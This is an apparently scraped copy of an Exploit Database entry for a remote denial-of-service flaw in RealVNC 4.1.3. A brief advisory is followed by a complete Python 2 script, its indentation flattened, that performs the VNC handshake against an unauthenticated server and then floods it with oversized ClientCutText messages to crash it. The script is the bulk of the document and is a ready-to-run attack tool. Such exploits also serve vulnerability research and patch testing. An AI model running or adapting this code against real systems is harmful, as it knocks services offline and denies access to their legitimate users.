RealVNC 4.1.3 – ‘ClientCutText’ Message Remote Denial of Service

• Exploit Database
• 13 阅读

• 作者： John Leitch
  日期： 2010-05-02
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/33924/

• source: https://www.securityfocus.com/bid/39895/info
  
  RealVNC Viewer is prone to a remote denial-of-service vulnerability.
  
  An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
  
  RealVNC 4.1.3 is vulnerable; other versions may also be affected. 
  
  import sys, struct, socket
  host ='localhost'
  port = 5900
  
  def crash_vnc_server():
  try:
  while 1:
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(1.0) 
  
  print 'Connected'
  
  try:
  b = s.recv(8192)
  print 'ProtocolVersion Received'
  
  s.send(b)
  print 'ProtocolVersion Sent'
  
  b = s.recv(8192)
  print 'Security Received'
  
  s.send('\x01')
  print 'Security Sent'
  
  # Recv SecurityResult
  b = s.recv(8192)
  print 'SecurityResult Received'
  
  if (len(b) == 4 and
  b[0] == chr(0) and
  b[1] == chr(0) and
  b[2] == chr(0) and
  b[3] == chr(0)):
  print 'SecurityResult OK'
  else:
  print 'SecurityResult Failed.\n\nThe server must be set '\
  'to No Authentication for this to work, otherwise '\
  'you \'ll need to write the necessary client side '\
  'authentication code yourself.'
  return 
  
  s.send('\x01')
  print 'ClientInit Sent'
  
  b = s.recv(8192)
  print 'ServerInit Received'
  
  text_len = 0xFFFFFF
  text_str = struct.pack('L', text_len) + '\xAA' * text_len
  
  while 1:
  s.send('\x06\x00\x00\x00' + text_str)
  
  print 'ClientCutText Sent'
  
  except Exception:
  print 'Connection closed'
  
  except Exception:
  print 'Couldn\'t connect'
  
  crash_vnc_server()